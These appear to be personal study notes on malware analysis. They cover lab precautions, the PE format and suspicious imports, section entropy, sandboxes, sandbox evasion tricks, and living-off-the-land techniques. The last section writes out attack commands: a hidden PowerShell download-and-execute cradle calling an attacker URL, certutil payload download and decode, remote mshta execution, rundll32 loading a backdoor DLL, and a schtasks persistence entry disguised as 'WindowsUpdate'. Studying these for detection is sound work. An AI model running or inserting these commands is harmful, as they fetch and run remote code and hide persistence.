

Intro to Malware Analysis

How, and Who:

Security Operations: analyse malware to write detections for malicious activities in their network.

Incident Response: analyse malware to determine what damage has been done to an environment and to remediate and revert that damage.

Threat Hunt: analyse to identify IOCs, which they use to hunt for malware in a network

Malware Researchers: analyse ~~and~~ to add detections for it in their security products

Threat Research: analyse to discover the vulnerabilities exploited and add more security features

Precautions:

- Never analyse malware on a machine that does not have the sole purpose of analysing malware.
- When not analysing or moving malware samples, always keep them in password-protected zip/rar so we can avoid accidental detonation

- Only extract the malware from this password protected archive inside the isolated environment
- Create an isolated VM specifically for malware analysis, which can be reverted to a clean state
- Ensure that all internet connections are closed
- Once done, revert the VM to its clean state for the next malware analysis session to avoid residue from a previous malware execution corrupting the next one.

Techniques of malware analysis

Static Analysis: when malware is analysed without being executed.

- Malware often uses techniques to avoid static analysis: obfuscation, packing

Dynamic Analysis: running the malware in VM

- Malware bypass dynamic analysis by detecting the environment in which they are being run. So, they use different benign code path

Advanced Malware Analysis

- Disassemblers and debuggers are used to perform
 - Disassemblers: converts the malware's code from binary to assembly
 - Debuggers attach to a program and allow to monitor by stop and run the malware at different points

PE format: The PE format is a data structure that encapsulates the information necessary for the Windows to manage the wrapped executable code.

PE file: Portable Executable, like .exe .dll
 programs ← libraries

PE Header contains important information about how the file is structured and what it needs to run.

- It tells:
 - what kind of file it is
 - what code or libraries it depends on
 - what sections exist inside the file
 - where important data is located

PE

Imports are functions that program instead of writing every feature from scratch, the program uses functions that already exist in windows

For example:

- Reg Query Value → reads Windows Registry value
- Internet Open → open internet access
- URL Download To File → downloads file from the internet

It matters because suspicious file imports like:

- Create Remote Thread
- Write Process Memory
- Virtual Alloc
- URL Download To File
- WinExec

Suggest behavior like: process injection, memory manipulation, downloading payloads, running commands

Exports are functions that a PE file makes available for other programs to use.

PE file is divided into sections, each section stores a different type of content.

- **text**: contains the actual machine code instructions the CPU runs
Basically the main code section
- **data**: contains global variables and other stored data the program uses while running
- **rsrce**: contains resources used by the program
 - embedded files
 - fake icon
 - encrypted payloads

Analysing PE header using the pecheck utility

pecheck <file>

pe-tree
~~pecheck~~ <file>

When they mention the entropy of each section, they are talking about how random the bytes in that section look.

High entropy suggests:

- packed or compressed code
- encrypted
- obfuscated

Higher means hiding something.

Open source SandBoxes:

- Cuckoo's SandBox
- CAPE SandBox
- online: Any.run, Intezer, Hybrid Analysis
Online Cuckoo SandBox

SandBox Evasion

- **long sleep calls**: malware author know than sandBox run for a limited time
- **user activity detection**: malware wait for user activity before performing the activities.
Advanced malware also detects patterns in mouse movement
- **footprinting user activity**: malware checks for user files or activity, such as whether there are any files in the MS or internet browsing history.
If no, the malware will consider the machine as a sandBox and quit.
- **Detecting VM**: SandBoxes run on VM, VM leave artefact that can be identified by malware

Living Off the Land Attacks

Attackers use Living off the land Attack (LoL) technique because built-in tools are already trusted, widely available, and allows the activities can hide among normal operations.

Example:

Powershell: used for in-memory scripting, remote downloads and automation

WMIC or WMI (Windows Management Instrumentation): used to run commands locally or on remote hosts and to query system state.

Certutil: used to fetch files and encode or decode payloads

Mshhta: used to run HTA (HTML Application) or an inline script delivered by a document or link

Rundll32: used to invoke DLL exports or trigger URL handlers

Scheduled tasks (schtasks): used to run code at logon or on a schedule for persistence

lol via Powershell:

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command  
"IEX (New-Object System.Net.WebClient).DownloadString(  
'http://attacker.../payload/...')"
```

- NoP → no Powershell Profile
- NonI → non-interactive
- W Hidden → hide the window
- Exec Bypass → ignore execution policy restrictions
- IEX → Invoke-Expression : runs code
- DownloadString → download a script from the internet

Basically, with no powershell profile, and non-interactive
and hide the ~~with~~^{window} while ignoring the execution policy
run the command

lol via WMIC

Uses of WMIC:

- query system info
- manage systems
- create processes
- - sometimes act remotely

wmic /node:TargetHost process call create "powershell command"

TargetHost → targeting machine

→ create process

launch powershell there

Detecting LoL via WMIC

- wmic.exe
- process call create
- remote node usage
- process listing ~~query~~ queries

- LoL via Certutil

certutil is Microsoft tool for certificate work

- it download files
- it encode files
- it decode Base64 data

Example

```
certutil -urlcache -split -f "http://somewhere/payload"  
C:\somewhere
```

-urlcache: it makes certutil download a file from a URL

-split: process the retrieved data properly

-f: force it

```
certutil -decode C:\somewhere\encoded.B64 C:\somewhere\decoded
```

-makes Base 64 executable

- Lol via MSHTA

- contains : VBScript, JavaScript

`mshhta "http://somewhere/payload.hta"`

- loads from internet and executes

- Lol via Rundll32

`rundll32.exe C:\Users\somewhere\Backdoor.dll, start`

load Backdoor.dll and start.

- Lol via Scheduled Tasks

`schtasks /Create /SC ONLOGON /TN "WindowsUpdate" /TR "powershell command"`

- create scheduled task

- make it run whenever a user logs on

- normal name WindowsUpdate

- run powershell